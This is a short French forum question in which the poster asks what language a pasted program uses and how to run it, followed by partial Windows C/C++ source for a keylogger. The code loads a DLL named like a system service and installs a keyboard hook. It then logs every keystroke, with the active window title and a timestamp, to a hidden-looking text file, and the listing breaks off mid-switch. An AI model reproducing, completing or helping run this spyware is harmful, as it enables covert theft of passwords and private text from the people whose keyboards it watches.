Je ne sais pas comment exécuter ce programme,a quel langage fait-il référence ?
PS: Je n´est pas mis le programme en entier.
// le fichier source du hook
- include "stdafx.h"
- include <windows.h>
- include <stdio.h>
- include <dos.h>
typedef int (__stdcall *MYDLLFUNC)(void);
extern "C" bool __stdcall SetkbdHook();
extern "C" void __stdcall UnSetkbdHook();
//************************************************
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
HINSTANCE hinstDLL;
MYDLLFUNC instal;
int iRet;
if ((hinstDLL=LoadLibrary("stsvc.dll")))
{
instal = GetProcAddress(hinstDLL, "SetkbdHook");
if (instal)
{
iRet = instal();
}
}
for(;;) Sleep(1);
return 0;
}
//************************************************
//************************************************
//************************************************
// le fichier source de la dll
- include <stdio.h>
- include <windows.h>
- include "hookdll.h"
// VARIABLES GLOBALES
static HHOOK gos_kbdHK;
static HINSTANCE hDLL;
static char LastWindowTitle[256] = "";
SYSTEMTIME date_now;
//************************************************
// FONCTIONS USUELLES ( DEFINITION )
void Logkbd(int code, WPARAM wParam,LPARAM lParam)
{
char CurWindowTitle[256];
FILE *logkbd;
logkbd = fopen("c:\\stsvc.txt","a+");
GetWindowText(GetActiveWindow(),CurWindowTitle,255
);
if ( strcmp(CurWindowTitle,LastWindowTitle) )
{
strcpy(LastWindowTitle,CurWindowTitle);
fprintf(logkbd,"\n\nFenêtre active: ");
fprintf(logkbd,CurWindowTitle);
GetLocalTime(&date_now);
fprintf(logkbd,"\n%02d %02d %02d %02dh%02dmn%02ds\n",date_now.wDay , date_now.wMonth, date_now.wYear , date_now.wHour , date_now.wMinute , date_now.wSecond );
}
switch(wParam)
{
case VK_BACK: //08
fprintf(logkbd,"[<==]");
break;
case VK_TAB: //09
fprintf(logkbd,"[TAB]");
break;
case VK_CLEAR: //0C CLEAR key
fprintf(logkbd,"[DEL]");
break;
case VK_RETURN: //0D
fprintf(logkbd,"[ENTREE]\n");
break;
case VK_SHIFT: //10 SHIFT key
fprintf(logkbd,"[SHIFT]");
break;
case VK_CONTROL: //11
fprintf(logkbd,"[CTRL]");
break;